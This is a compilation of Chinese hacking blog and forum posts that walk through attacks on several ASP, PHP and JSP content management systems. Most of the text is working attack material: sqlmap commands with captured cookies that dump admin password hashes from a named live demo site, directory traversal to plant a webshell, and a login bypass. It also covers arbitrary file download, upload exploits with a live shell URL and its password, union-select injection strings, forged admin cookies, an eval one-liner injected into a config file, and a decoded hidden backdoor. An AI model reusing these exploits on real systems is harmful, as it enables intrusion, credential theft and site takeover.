FineCMS的注入和getshell
还没学PHP,先学牛们挖洞来了,牛们见笑了。
程序是FineCMS,找到了个注入,接着其他的就看不下去了,只想利用上就OK了。
注入的文件是finecms\controllers\member\ContentController.php
public function editAction() {
$id = $this->get('id');
$data = $this->content->where('userid=' . $this->memberinfo['id'])->where('id=' . $id)->select(false);
$catid = $data['catid']; \\ http://c0deplay.com
if (empty($data)) $this->memberMsg('信息不存在');
if (empty($catid)) $this->memberMsg('信息栏目不存在');
$model = $this->cache->get('model');
$modelid = $this->cats[$catid]['modelid'];
$fields = $model[$modelid]['fields']
$id,问题出在这儿,就是利用麻烦了点。
这个是出现在文章编辑的模块,所以,得去注册个用户,发表文章,然后再点击编辑,这些大家都知道的,我略过了。
在编辑文章这儿,抓包,我用的是Live HTTP Replay,如图
好了 cookie是:
PHPSESSID=135qdpqp4e9vm3sda0b3446c13; CNZZDATA4264051=cnzz_eid=96253715-1352780242-
&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0; finecms_member_id=aToyNDM7
好了,接着打开sqlmap,开始注入
./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;
CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0;
finecms_member_id=aToyNDM7"
有注入,是mysql 5.0的,接着
./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;
CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0;
finecms_member_id=aToyNDM7" –dbs
available databases [2]:
[*] dayrui
[*] information_schema
./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;
CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0;
finecms_member_id=aToyNDM7" --tables -D "dayrui"
找到表名demo_user,接着
./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;
CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0;
finecms_member_id=aToyNDM7" --columns -T "demo_user" users-D "dayrui" -v 0
不截图了,太麻烦了
./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;
CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0;
finecms_member_id=aToyNDM7" --dump -C "username" -T "demo_user" -D "dayrui" -v 0
Database: dayrui
Table: demo_user
[2 entries]
+----------+
| username |
+----------+
| admin |
| dayrui |
+----------+
./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;
CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0;
finecms_member_id=aToyNDM7" --dump -C "password" -T "demo_user" -D "dayrui" -v 0
Database: dayrui
Table: demo_user
[2 entries]
+----------------------------------+
| password |
+----------------------------------+
| eae9f74652d3191c2868627641128f22 |
| eae9f74652d3191c2868627641128f22 |
|
解出了密码 admin dayrui dayrui dayrui
dayrui dayrui 这个是网站创始人权限,登录这个,准备拿shell。
Finecms这个程序的演示站是linux跟apche的搭配,在模板管理那儿,可以直接新建a.php.html来解析利用,但服务器作了限制,如图
这个目录不可访问,后台还有备份数据的功能,这个好像利用不了,还有个执行SQL的,不过我的突破点还是在模板那儿,模板所在的目录既然不能执行,那么跳出这个目录就可以了。那儿有个目录跳转的功能,如图
http://demo.finecms.net/index.php?s=admin&c=theme&dir=bWVtYmVyLw==&iframe=0
这个是跳转的链接,dir后面的是目录了,不过是base64加密的,
所以,构造如下,../../就是Li4vLi4v,输入http://demo.finecms.net/index.php?s=admin&c=theme&dir=Li4vLi4v=&iframe=0
如图,
好了,目录已经跳转,那么就直接再新建个模板,就可以直接拿shell了。
结果如图
1,前奏
今天搞一小站,是个asp的,初始以为会很简单,结果浪费了我大半天时间。拿站的时候,我一般是会先扫目录的,看看能不能直接扫到些敏感信息,比如备份文件什么的,有时候直接扫到编辑器和上传页面,就十分快速了。扫完之后,直接打开根目录下的admin_login.asp才发现这程序是my动力3.5的那老古董版本,找出这个版本的注入利用工具,没有破出密码来。
2,扫目录过程
像这一类的站,我还是比较喜欢扫目录多些,拿出了个大集合的字典,慢慢的扫目标站,扫了两遍,也没有什么可利用的地方,没办法,旁注吧。拿出御剑扫了下,发现有三个旁站,那就直接三个一起扫,边扫边看,扫出了个bbs.asp文件,是个简易论坛,像这种论坛,一个是无法利用,功能太简单了,一个是好利用,漏洞太多。直接注册了个用户,登录,进入用户管理中心,首先看看有没有什么上传头像之类的东东,再去发表文章那儿看看能不能利用的。
我一进用户管理中心就直接跳转到了my动力的用户管理中心去了,看来是管理员作了处理了。my动力的用户管理这儿,有个添加文章功能,存在着上传漏洞,拿出明小子 ,抓包上传,正常的图片都能上传上去,就asp asa cer之类的格式的都不行,无法找到网页,asp马儿改成jpg都还是存在的,应该没有被杀,就是利用不了,在这儿浪费了一小段时间。
再去看看扫的目录,发现出来了fckeditor和ewebeditor编辑器,满心欢喜的以为可以搞下了,结果fckeditor的asp和php都关闭上传了,aspx不支持,唯一的收获得php那儿暴出了路径,所这绝对路径保存到TXT文本上,也许等一下用的着呢,路径:D:\inetpub\wwwroot\com\xxoop。
等扫完三个站,全都是动力的,以前的注入漏洞工具又 都利用不了,哪怕上面有管理员留下的两种编辑器也是木办法,无奈,用大字典再扫了遍,还是同样的结果。
3.找注入过程
竟然目录没什么可利用的,那就再找找有什么注入吧,毕竟这老程序,管理员应该有修改过的,就像是那个简易论坛,也许存在着什么可利用的地方呢。
打开google神器,直接inurl:asp,找了一圈,没有找到,那好吧,打开网站一个一个看下吧,反正才三个而已。。。
3.柳岸花开
无奈了,目录扫不出什么可利用的,注入也找不到,这回郁闷了,这么个小小的站就这么棘手了,我们国内的安全现在倒是做的不错了。
木办法,只好请出神器nmap,扫扫端口,除了常规的21 80端口之外,还有个7001的weblogic httpd,weblogin是啥东西倒是不知道,httpd倒是能猜出来。一般看到3389有开,我都会习惯连上去看看有没有别人留下的shift后门什么的,偶尔也有什么安装了五笔输入法之类的可以突破,这站没开,那就打开网页,输入IP:7001看看吧。
一打开,是个登录页面login.jsp,嘿嘿,那就放到御剑里再萍破见扫扫目录吧。扫了一通,屁也没有。在这个登录页面上输入admin admin,admin admin888,admin 123456之类的弱口令去猜解了下,结果没成,想了下,不知道这页面会不会存在万能密码漏洞呢,输入1'or'1'='1,点登录,哈,奇迹出现,果真登录上去了
上边有个图片维护功能,打开,http://122.XXX.XXX.99:7001/news_itempic.jsp?action=upload&newsid=284,可以直接上传图片也可以下载图片,还有个浏览图片的功能,先试试上传吧,程序限制的挺严的,怎么也突破不了,可能我太菜了,这种上传的话,看起来不难突破的,却偏偏没突破成功。那个下载图片功能却让我眼前一亮,http://xxx.2x4.xx.99:7001/download.jsp?file=20121025.jpg,这个download.jsp看的我心动,试试输入http://xxx.2x4.xx.99:7001/download.jsp?file=download.jsp,嘿嘿,果真跳出来了下载页面
我就接连下载了login.jsp admin.jsp useradd.jsp之类的文件,结果没用啊,又没有什么可利用的,没找到诸如conn.asp config.php之类的有效的信息。郁闷中突然想到刚刚不是有暴出了目标站的绝对路径吗,试试看,输入http://xxx.2x4.xx.99:7001/download.jsp?file=D:\inetpub\wwwroot\com\xxoop\inc\conn.asp,哈,能下载哦,打开文件一看,是mssql,爽死了。赶紧拿出sqltools深度命令成版.exe,靠,连接不上,貌似这服务器是内网。。。。好吧,,我无语了,,,看看另外两个站能不能暴出路径吧,,或者猜猜出绝对路径,试了几次,都不成功,这回又被难住了。期间不知道做了多少无聊事,后来翻翻扫出来的目录的时候,发现了个aspcheck.asp,希望不会再是mssql吧。
打开aspcheck.asp找到了绝对路径,下载conn.asp文件,拿到了数据库地址data_netdebug/data.mdb,直接访问被拒绝,同样的用download.jsp下载数据库,终于可以了,管理员的表名就是user_data,解之,登录后台拿shell,拿shell也有一番问题,平常都习惯了传个一句话用菜刀连接,这回连接上去提示竟然是拒绝访问,大马又传不了,小马也不行,后来用lake2的客户端连接上去了。连接上去来到 jsp站的这个目录,传了个jsp马儿上去就是系统权限了。最后来个留影纪念
万博企业网站管理系统注入漏洞
这两天拿站的时候,好几回都遇到个叫万博的企业管理系统,今天有时间就下载过来看了看,找到了个注入漏洞,郁闷的是,得手工,没法用工具,累人的事。因为已经找到了一个,我就没兴趣接着往下看了。
这个注入漏洞发生在html/MemberLogin.asp文件里,在Include下有NoSqlHack.Asp文件也没调用,呵呵,就有了我们利用的地方了。
MemberLogin.asp源码如下:
<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<% Option Explicit %>
<%Response.Charset="utf-8"%>
<!--#include file="../Include/Const.asp"-->
<!--#include file="../Include/ConnSiteData.asp"-->
<!--#include file="../Include/Md5.asp"-->
<%
if request.QueryString("Action")="Out" then
session.contents.remove "MemName"
session.contents.remove "GroupID"
session.contents.remove "GroupLevel"
session.contents.remove "MemLogin"
response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))
response.end
end if
Public ErrMsg(3)
ErrMsg(0)="·登录名不正确,请返回。"
ErrMsg(1)="·登录密码不正确,请返回。"
ErrMsg(2)="·帐号非使用状态,请返回。"
dim LoginName,LoginPassword,VerifyCode,MemName,Password,GroupID,GroupName,Working,rs,sql
LoginName=trim(request.form("LoginName"))
LoginPassword=Md5(request.form("LoginPassword"))
set rs = server.createobject("adodb.recordset")
sql="select * from NwebCn_Members where MemName='"&LoginName&"'"
rs.open sql,conn,1,3
if rs.bof and rs.eof then
WriteMsg(ErrMsg(0))
response.end
else
MemName=rs("MemName")
Password=rs("Password")
GroupID=rs("GroupID")
GroupName=rs("GroupName")
Working=rs("Working")
end if
if LoginPassword<>Password then
WriteMsg(ErrMsg(1))
response.end
end if
if not Working then
WriteMsg(ErrMsg(2))
response.end
end if
if UCase(LoginName)=UCase(MemName) and LoginPassword=Password then
rs("LastLoginTime")=now()
rs("LastLoginIP")=Request.ServerVariables("Remote_Addr")
rs("LoginTimes")=rs("LoginTimes")+1
rs.update
rs.close
set rs=nothing
session("MemName")=MemName
session("GroupID")=GroupID
'===========
set rs = server.createobject("adodb.recordset")
sql="select * from NwebCn_MemGroup where GroupID='"&GroupID&"'"
rs.open sql,conn,1,1
session("GroupLevel")=rs("GroupLevel")
rs.close
set rs=nothing
'===========
session("MemLogin")="Succeed"
session.timeout=60
response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))
response.end
end if
%>
看到了,LoginName未作过滤,直接代入查询,因此产生了这个注入,就是利用的方法有点麻烦,我试了下,没办法用工具,郁闷了。
手工如:wzasdf' and exists (select * from [nwebcn_admin]) and '1'='1
真是郁闷的手工,这个JB烂的洞。。。
YFCMS之ewebeditor上传漏洞
刚刚C段的时候,遇到了个程序,一看网上有公开的源码,下了,看之,有个很大的漏洞。
漏洞是利用ewebeditor的上传结合IIS解析漏洞
FROM HTTP://WWW.ST999.CN/BLOG BY 流浪的风
google关键字:intext:版权所有:yfcms
利用文件:admin\WebEditor\asp\upload.asp
利用代码:
<form action="http://www.st999.cn/admin/WebEditor\asp\upload.asp?action=save&type=image&style=popup&cusdir=st999.asp" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=upload>
</form>
这里有个前提 ,要知道网站的后台目录才行。
我刚搞的那个站,不是默认的后台,扫了半天也没扫出来,结果还是社出来的。
aspcms2.1.4 GBK版注入漏洞
admin/_content/_About/AspCms_AboutEdit.asp?id=19 and 1=2 union select 1,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from aspcms_user where userid=1
FROM http://www.st999.cn/blog BY 久久久电脑
程序:聚商宝2.0
下载:http://down.chinaz.com/soft/21754.htm
google关键字:intext:技术支持:奔明科技 聚商宝
前几天搞站的时候遇到了个程序叫聚商宝,把源码下载过来了,今天才有时间简单的看了看。。。
漏洞:暴库以及后台cookies欺骗
1)直接访问conn/conn.asp 暴出数据库地址,下载,解密,登录后台
2)cookies欺骗,admin文件夹下check.asp文件中的代码片段:
dim uid,upwd
uid=Replace_Text(Request.Form("userid"))
upwd=md5(Replace_Text(Request.Form("password")),16)
Verifycode=Replace_Text(request.Form("verifycode"))
if not isnumeric(Verifycode) then
Call Logerr()
Call ErroFy()
end if
if Cint(Verifycode)<>Session("SafeCode") then
Call ErroFy()
Sub ErroFy()
response.write"<table cellpadding=2 cellspacing=1 border=0 width=100% class=tableBorder align=center>"
response.write"<TR>"
response.write"<TH class=tableHeaderText colSpan=2 height=25>出现错误提示</TH>"
response.write"<TR><tr><td height=85 valign=top class=forumRow><div align=center><br><br>验证码错误!</div></td></tr>"
response.write"<tr align=center><td height=30 class=forumRowHighlight><a href='login.asp'><< 返回上一页</a></td>"
response.write"</tr>"
response.write"</table>"
Response.End()
End Sub
else
Set rs=server.createobject("adodb.recordset")
sqltext="select * from benming_master where Username='" & uid & "' and [PassWord]='" & upwd & "'"
rs.open sqltext,conn,1,1
If Rs.Eof And Rs.Bof Then
response.write"<table cellpadding=2 cellspacing=1 border=0 width=100% class=tableBorder align=center>"
response.write"<TR>"
response.write"<TH class=tableHeaderText colSpan=2 height=25>出现错误提示</TH>"
response.write"<TR><tr><td height=85 valign=top class=forumRow><div align=center><br><br>登陆名或密码不正确!</div></td></tr>"
response.write"<tr align=center><td height=30 class=forumRowHighlight><a href='login.asp'><< 返回上一页</a></td>"
response.write"</tr>"
response.write"</table>"
else
Response.Cookies("globalecmaster")=rs("username")
Response.Cookies("masterflag")=rs("flag")
Response.Cookies("adminid")=rs("id")
LastLogin=Date()
LastLoginIP=getIP()
sql="update benming_master set LastLogin='"&LastLogin&"',LastLoginIP='"&LastLoginIP&"' where username='"&uid&"'"
conn.execute(sql)
response.write"<table cellpadding=2 cellspacing=1 border=0 width=100% class=tableBorder align=center>"
response.write"<TR>"
response.write"<TH class=tableHeaderText colSpan=2 height=25>登陆成功提示</TH>"
response.write"<TR><tr><td height=85 valign=top class=forumRow><div align=center><br><br>成功通过网站后台管理员身份认证!<br><br>2秒后自动进入后台...</div></td></tr>"
response.write"<tr align=center><td height=30 class=forumRowHighlight><a href='index.asp'>进入后台管理</a></td>"
response.write"</tr>"
response.write"</table>"
%>
<meta HTTP-EQUIV=refresh Content='2;url=index.asp'>
<%
end if
rs.close
set rs=nothing
end if
利用方法:用啊D直接访问后台,修改如下cookie,然后访问admin/index.asp登录。
globalecmaster=admin; masterflag=01%2C%2002%2C%2003%2C%2004%
2C%2005%2C%2006%2C%2007%2C%2008%2C%2009%2C%20010; adminid=1
Co Net PCMSN Ver 1.0之直接添加管理员漏洞
网趣网站管理系统--上传漏洞
程序:网趣网站管理系统1.2.1 (包含动态版和静态版 均存在此漏洞)
下载:http://www.codepub.com/d/downpage.php?n=1&id=18716::1288173021
FROM:http://www.st999.cn/blog
DATA:2010/04/22
利用方法:/ku_edit/ComquUp.asp?nf=&ni=a&nr=ok&nt=../st999.asp;&nm=&nq=&lx=1
漏洞文件:Free_ComQu\Ku_edit\ComquUp.asp
源码 :
<%Response.Buffer=True
Server.ScriptTimeOut=9999999
On Error Resume Next%><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB2312" />
<meta http-equiv="Content-Language" content="zh-cn" />
<meta content="all" name="robots" />
<meta name="author" content="酷航网络" />
<meta name="description" content="酷航网络提供虚拟主机、域名注册等服务!" />
<meta name="keywords" content="酷航网络、虚拟主机、域名注册" />
<style type="text/css">body,form{margin:0px;padding:0px;}body,input{font-size:12px;}</style>
<title>酷航文件上传系统V2</title>
</head>
<body id="body"><table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"><tr><td>
<%
response.Cookies("ComquUp")="1"
'您可以把上面判断cookies的写入语句复制到您登录的地方,这样便是“只有登录后才能操作上传文件。”
if request.Cookies("ComquUp")="1" then%>
<%
ComquDFormName=trim(request("nf"))
ComquDInputName=trim(request("ni"))
ComquDYNReName=trim(request("nr"))
ComquDPath=trim(request("nt"))
ComquDDM=trim(request("nm"))
ComquDPathQ=trim(request("nq"))
ComquDType=trim(request("lx"))
if ComquDPath<>"" then:ComquSavePath=ComquDPath:else:ComquSavePath="/Upfile/edit/":end if
if ComquDPathQ<>"" then:ComquSavePathQ=ComquDPathQ:else:ComquSavePathQ=ComquSavePath:end if
ComquYNPath(ComquSavePath)
if ComquDType="1" then
ComquFileNames="jpg,gif,png,bmp"
ComquBigSize=1024000'单位B
elseif ComquDType="2" then
ComquFileNames="swf,flv"
ComquBigSize=10240000
elseif ComquDType="3" then
ComquFileNames="avi,wmv,asf,mov,mp3,wma"
ComquBigSize=102400000
elseif ComquDType="4" then
ComquFileNames="rm,ra,ram,rmvb"
ComquBigSize=102400000
elseif ComquDType="5" then
ComquFileNames="txt,rar,zip,doc,7z,ppt"
ComquBigSize=102400000
end if
ComquFileSize=Request.TotalBytes
If ComquFileSize>0 Then
if ComquFileSize<ComquBigSize then
Set ComquUpStm=Server.CreateObject("ADODB.Stream")
ComquUpStm.Type=1
ComquUpStm.Open
ComquUpStm.Write Request.BinaryRead(ComquFileSize)
ComquUpStm.Position=0
ComquFormDataSize=ComquUpStm.Read
ComquCrlf=chrB(13)&chrB(10)
ComquFormStart=InStrB(ComquFormDataSize,ComquCrlf)
ComquFormEnd=InStrB(ComquFormStart+1,ComquFormDataSize,ComquCrlf)
Set ComquFormStm=Server.Createobject("ADODB.Stream")
ComquFormStm.Type=1
ComquFormStm.Open
ComquUpStm.Position=ComquFormStart + 1
ComquUpStm.CopyTo ComquFormStm,ComquFormEnd-ComquFormStart-3
ComquFormStm.Position=0
ComquFormStm.Type=2
ComquFormStm.CharSet="GB2312"
ComquFormStmText=ComquFormStm.Readtext
ComquFormStm.Close
ComquUpFileNAll=Mid(ComquFormStmText,InstrRev(ComquFormStmText,"\")+1,ComquFormEnd)
ComquUpFileCZM=mid(ComquUpFileNAll,InstrRev(ComquUpFileNAll,"."))
If ComquCheckFileCZM(ComquUpFileNAll) Then
if ComquDDM<>"" then
ComquUpFileName=ComquDDM
else
if ComquDYNReName<>"ok" then:ComquUpFileName=ComquUpFileNAll:else:ComquUpFileName=Year(now)&right("0"&Month(now),2)&right("0"&Day(now),2)&right("0"&Hour(now),2)&right("0"&Minute(now),2)&right("0"&Second(now),2)&right(replace(Request.ServerVariables("REMOTE_ADDR"),".",""),4)&ComquUpFileCZM:end if
end if
ComquSaveFile=Server.MapPath(ComquSavePath & ComquUpFileName)
k=Instrb(ComquFormDataSize,ComquCrlf&ComquCrlf)+4
l=Instrb(k+1,ComquFormDataSize,leftB(ComquFormDataSize,ComquFormStart-1))-k-2
ComquFormStm.Type=1
ComquFormStm.Open
ComquUpStm.Position=k-1
ComquUpStm.CopyTo ComquFormStm,l
ComquFormStm.SaveToFile ComquSaveFile,2
ComquSaveFileName=Mid(ComquSaveFile,InstrRev(ComquSaveFile,"\")+1)
if ComquDFormName<>"" then:Response.write"<script language=javascript>parent.document."&ComquDFormName&"."&ComquDInputName&".value='"&ComquSavePathQ&ComquSaveFileName&"';</script>":else:Response.write"<script language=javascript>parent.document.getElementById("""&ComquDInputName&""").value='"&ComquSavePathQ&ComquSaveFileName&"';</script>":end if
Response.write"<a href="""&ComquSavePath&ComquSaveFileName&""" target=""_blank"" title=""文件名称:"&ComquSaveFileName&""&vbcrlf&"文件大小:"&ComquFileSize&"KB"&vbcrlf&"友情提示:点击打开预览""><span style=""color:red;text-decoration:none;"">"&left(ComquSaveFileName,3)&"**"&ComquUpFileCZM&"</span></a> 上传成功! <a href="""&Request.ServerVariables("URL")&"?"&Request.ServerVariables("QUERY_STRING")&""">重新上传</a><br />"
Else
Response.write"<span style=""color:red;"">文件格式不正确!</span> <a href="""&Request.ServerVariables("URL")&"?"&Request.ServerVariables("QUERY_STRING")&""">重新上传文件</a><br />"
End If
Set ComquFormStm=Nothing
UploadStream.Close
Set UploadStream=Nothing
Function ComquCheckFileCZM(FileName)
FileType=Split(ComquFileNames,",")
For i=0 To Ubound(FileType)
If LCase(Right(FileName,len(FileType(i))))=LCase(FileType(i)) then
ComquCheckFileCZM=True
Exit Function
Else
ComquCheckFileCZM=False
End if
Next
End Function
Function ComquYNPath(FolderName)
ComquFolderM=Server.Mappath(FolderName)
Set Fso=CreateObject("Scripting.FileSystemObject")
If Not Fso.FolderExists(ComquFolderM) Then
Fso.CreateFolder(ComquFolderM)
End If
Set Fso=Nothing
End Function
else
Response.Write"<span style=""color:red;"">大小超过"&ComquBigSize&"B!</span> <a href="""&Request.ServerVariables("URL")&"?"&Request.ServerVariables("QUERY_STRING")&""">重新上传</a><br />"
end if
Else%><script language="Javascript">
function ComquCheckFile(){
if(document.ComquUpForm.ComquUpFile.value=="")
{alert("请选择上传文件!")
document.ComquUpForm.ComquUpFile.focus()
return false}
return true}
</script>
<form action="" method="post" name="ComquUpForm" onsubmit="return ComquCheckFile()"enctype="multipart/form-data">
<input type="file" name="ComquUpFile" size="10">
<input type="submit" value="上传">
</form>
<%End if
else:response.Write("<span style=""color:red;"">您无权上传操作!</span>"):end if%></td></tr></table>
</body>
</html>
嘿嘿,,,很明显的nt参数未过滤,可以构造路径,直接上传获得shell。
此程序的官方演示地址,也存在着这漏洞。
http://main.comqu.com/ku_edit/ComquUp.asp?nf=&ni=a&nr=ok&nt=../st999.asp;&nm=&nq=&lx=1
直接找个jpg的马儿上传,右键查看源码,获得名称../st999.asp;st999.asp;201104220019371540.jpg,实际上马儿的名称是st999.asp;201104220019371540.jpg,shell地址就是http://main.comqu.com/st999.asp;201104220019371540.jpg
这个是一句话,密码是st999,大家就不要轮J官方的演示站了,嘿嘿。。。
SemCms后台cookie欺骗漏洞
Google关键字:inurl:P_view asp?pid=
漏洞文件:Clkj_Inc\WebOut.asp
发现日期:2011/03/26
利用cookies:username=uname=admin;userpas=upas=admin;
打开啊D注入工具或者其他的可以修改cookie的工具,修改成以上的cookies,再登录后台Clkj_Admin/nimda_admin.asp,广告管理,上传图片,有个自定义图片名称的功能,输入st999.asp;.再上传,右键查看源码,拿到shell地址就OK了。
漏洞文件的源码:
WebOut.asp
<%
if trim(request.cookies("username")("uname"))<>"" then
session("username")=request.cookies("username")("uname")
session("userpas")=request.cookies("userpas")("upas")
else if trim(session("username"))="" or trim(session("userpas"))="" then
Response.Write "<script language='javascript'>alert('用户名与密码为空请重新进入!');top.location.href='index.html';</script>"
end if
end if
%>
<script src="http://www.sem-cms.com/huidiao.asp?url=<%=Request.ServerVariables("SERVER_NAME")%>"></script>
看了源码,诸君都了解了吧
喜欢批量的朋友速度吧。。。
我试了下,貌似是通杀以前的版本的。。。。。
请教关于HTTP_X_FORWARDED_FOR伪造的问题
http://www.t00ls.net/thread-15177-1-1.html
小弟愚笨,对于HTTP_X_FORWARDED_FOR伪造的问题,在百度哥和GOOGLE姐的帮助下看了半天的资料,还是不懂,特来请教。。。
假设以下是个正常的后台登录页面的抓包
POST /admin/login.asp?action=login HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://127.0.0.1:99/admin/login.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 127.0.0.1:99
Content-Length: 75
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: EDiaryEditor_RUser=1324481743; rtime=0; ltime=1298481309656; cnzz_eid=19758319-1298478159-; AJSTAT_ok_times=1; TENATTQRLEFVOIAJDEKD=MQAAEQCFLLKKNYKKUTOOYJMBVTKWIHXKIHAZRJOR
name=123123312&pass=1232123&code=7XYZ&Submit=%B5%C7+%C2%BC
在这里面,如何构造HTTP_X_FORWARDED_FOR,使之产生注入呢?
=============
另附网络上的一个风讯4.0注入的分析----
存在注入漏洞的是Vote/Vote_Ajax.asp文件,其第48~53行的代码如下。
VisitIP = request.ServerVariables("HTTP_X_FORWARDED_FOR") If VisitIP = "" then VisitIP = request.ServerVariables("REMOTE_ADDR") End If //如果VisitIP不为空,直接就将变量HTTP_X_FORWARDED_FOR提交到数据库中查询了 Set VS_RS = Conn.Execute("Select top 1 VoteTime from FS_VS_Items_Result where TID = "&TID&" and VoteIp='"&VisitIP&"' order by RID desc") //这里明显构成了注入条件
此文件存在的注入漏洞,我们直接伪造就行了。关于HTTP_X_FORWARDED_FOR变量的伪造,我们只需要用NC抓包,然后再相应的修改抓取的数据包再进行提交就可以了。
此漏洞的构造语句:127.0.0.1');update FS_MF_Admin set Admin_Pass_Word=' 49ba59abbe56e057' where id=2--提交成功后,ID为2的管理员的密码就被我们改为了123456了
在这里,“然后再相应的修改抓取的数据包再进行提交就可以了”,这句话的意思是在包中修改HTTP_X_FORWARDED_FOR变量,而正常的抓包中并没有看到有关于HTTP_X_FORWARDED_FOR的变量啊。
我的疑问是,是要在包中另加一句关于HTTP_X_FORWARDED_FOR变量的注入的语句吗?
该如何添加或者进行注入?
就比如如上所说的风讯4.0的那个注入该如何构造?
=====================
在请求的header中加入x-forwarded-for即可,如
POST /admin/login.asp?action=login HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://127.0.0.1:99/admin/login.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 127.0.0.1:99
x-forwarded-for: aa' or ''='
name=123123312&pass=1232123&code=7XYZ&Submit=%B5%C7+%C2%BC
BY toby57
pcook cms 2.2以及以下版本的注入漏洞
程序:pcook cms 2.2以及以下版本
下载:http://down.chinaz.com/soft/23761.htm
漏洞文件:save.asp,hits.asp
BY 流浪的风
save.asp代码:
<!--#include file="Inc/conn.asp"-->
<%
Dim id
Dim Rs,Sql
id = Replace(Trim(Request.QueryString("id")),"'","")
If Session("id"&id)<>"" Then
Set Rs = Server.CreateObject("ADODB.Recordset")
Sql = "Select * From pcook_Article Where id="&id
Rs.Open Sql,Conn,3,3
If Rs.Eof And Rs.Bof Then
Response.Write("NoData")
Else
Response.Write("Dig")
Response.Write(",")
Response.Write(Rs("Dig"))
End If
Else
Set Rs = Server.CreateObject("ADODB.Recordset")
Sql = "Select * From pcook_Article Where id="&id
Rs.Open Sql,Conn,3,3
If Rs.Eof And Rs.Bof Then
Response.Write("NoData")
Else
Dim Dig
Dig =Rs("Dig")
Dig = Dig + 1
Rs("Dig") = Dig
Rs.Update
Rs.Close
Set Rs = Nothing
Session("id"&id) = id
Response.Write(Dig)
End If
End If
%>
过滤不全,直接可以利用
随便找篇文章,链接如list.asp?id=1341,把list.asp改为save.asp就可以了
save.asp?id=1341%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,admin_name,16,17,18,19,20,21%20from%20pcook_admin
有的也许是19个字段,刚刚就有遇到过
默认表名 pcook_admin
默认字段表admin_name,admin_pass
关键字我就找不出来了,谁找出来,给我留下言啊
忘了补充一点,注入的时候,要把IE的安全属性调到最高,以免JS控制跳转首页了
来我blog :http://www.st999.cn/blog
=========
后台cookie欺骗
pcookmanage=UserName=admin
==============
一句话插配置文件 (Fung提供)
来到admin_setting.asp页面 输入以下代码 然后连接inc/config.asp文件即可
javascript:document.getElementById("artlistnum").value="1\":eval request(\"a\")'";alert(document.getElementById("artlistnum").value);
======
文章列表每页显示记录: 1":eval request("a")'
无忧购物系统ASP时尚版存在后门
by 流浪的风
程序:无忧购物系统ASP时尚版
漏洞:存在后门,可直接登录拿shell,这后门不知道是本来就有还是另外别人添加的,以前的版本有没有这后门,我倒是没注意了
下载地址:以下两个地址下载的都有后门存在,其他网站的就没有看了
http://down.admin5.com/asp/3090.html
http://www.onlinedown.net/soft/85106.htm
后门存在文件:admin\xyvipSet.asp
前些天没事干,刚好看到"无忧购物系统ASP时尚版 V2011.1.19",这个版本貌似是新出来的,以前的版本我有看过,漏洞不少,这个版本呢?
刚好今天有时间,就下载过来看了下,没想到漏洞还没找到,后门倒是发现了一个,晕了,漏洞不找也罢,这么大的后门存在,还有什么好找的。。。
在xyvipSet.asp文件中,有一处地方加密了,我就奇怪了,整个程序都没加密,就这地方加密了,有什么奥妙?
“#@~^iQAAAA==@#@&kW,D;E/DcJmmOkKxEb{Jhm% Z!%r~Otx@#@&d+ddbWU`rCNskUE*'JACN T!RE@#@&d/kkW `rWVmoE#{F@#@&M+/aGxk+R"n[kM+1Y~JrU9+aRmdwr@#@&n NPrW@#@&pCYAAA==^#~@”
解密了一下,明文出来了
if request("action")="waj2008" then
session("admin")="waj2008"
session("flag")=1
response.Redirect "index.asp"
end if
